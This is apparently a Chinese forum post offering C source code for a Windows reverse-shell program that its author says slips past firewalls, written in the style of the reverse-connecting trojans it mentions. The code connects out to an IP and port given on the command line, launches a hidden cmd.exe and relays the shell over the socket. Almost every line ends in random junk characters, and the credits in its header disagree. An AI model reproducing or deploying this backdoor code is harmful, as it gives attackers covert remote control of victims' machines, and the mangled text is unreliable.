这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #Y b9w3N
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/* ============================== g}`CdVQ2M<
Rebound port in Windows NT {.'g!{SHp
By wind,2006/7 E*]L]vR
===============================*/ 3JO:n6
#include B
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#include 3gXUfv2ID
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#pragma comment(lib,"wsock32.lib") A)0m~+?{J
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void OutputShell(); KUV{]?'
SOCKET sClient; ,tc]E45
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; obkv ]~
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void main(int argc,char **argv) }{PtQc6RL!
{ ~oyPmIcb
WSADATA stWsaData; vYun^(_-
int nRet; m#(x D~V
SOCKADDR_IN stSaiClient,stSaiServer; D#(L@{vC
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if(argc != 3) #.K&]OV/88
{ AYtcN4\/
printf("Useage:\n\rRebound DestIP DestPort\n"); U}5KAi 9Z
return; 6/C
} NWcF9z%@
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WSAStartup(MAKEWORD(2,2),&stWsaData); Qx#)c%v\\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .j,&/y&
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stSaiClient.sin_family = AF_INET; zXO.NSC[
stSaiClient.sin_port = htons(0); *Fs^T^ ?r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O~1p]j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S!c@6&XJm?
{ @uWD>(D
printf("Bind Socket Failed!\n"); U;Wmx
return; Kn]WXc|("
} hj[g2S%X
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stSaiServer.sin_family = AF_INET; \p|!=H@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UY^f|f&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qTex\qP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MYm6C;o$
{ jP]'gQ!-w
printf("Connect Error!"); 8BdeqgU/_
return; j|w+=A1
} 27gm_*
OutputShell(); {RO=4ba{J
} &}?e:PEy
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void OutputShell() YLr2j 7
{ #.aLx$"a
char szBuff[1024]; 3Pq)RD|hn
SECURITY_ATTRIBUTES stSecurityAttributes; a&PZ7!PZv
OSVERSIONINFO stOsversionInfo; :H7 "W<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b s*Z{R
STARTUPINFO stStartupInfo; 43fA;Uc{Y`
char *szShell; A` 8If
PROCESS_INFORMATION stProcessInformation; ]+S QS^4
unsigned long lBytesRead; )FCqYCfk
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sJvn#cS
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C<)&qx3
stSecurityAttributes.lpSecurityDescriptor = 0; MS)bhZvO
stSecurityAttributes.bInheritHandle = TRUE; _u!G6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G)`MoVH1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #v<+G=r*O
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V19*~v=u
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cke[SUH,
stStartupInfo.wShowWindow = SW_HIDE; &kE|~i:=,9
stStartupInfo.hStdInput = hReadPipe; oE&[W>,x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hkxZ=l
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GetVersionEx(&stOsversionInfo); t$2{U
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switch(stOsversionInfo.dwPlatformId) CSs6Vm!=
{ :4TcCWG
case 1: lX7^LB
szShell = "command.com"; &3. 8i%
break; v|z1nD!?]
default: ,%^0 4sl
szShell = "cmd.exe"; )}v2Z3:
break; jTIn@Q
} ^~od*:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~+hG}7(:
wz=I+IN:
send(sClient,szMsg,77,0); X35hLp8 M
while(1) h:wD
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{ cPSpPx
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M`F L&Ac
if(lBytesRead) G Kr
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{ 4RNzh``u
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }"v"^5
send(sClient,szBuff,lBytesRead,0); >XN&QVE
} J)_42Z
else $Re
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{ &iivSc;#
lBytesRead=recv(sClient,szBuff,1024,0); ljRR
if(lBytesRead<=0) break; 'UKB
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Nt?B(.G
} b7/4~_s
} K9iR>put
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return; 5Ml}m
}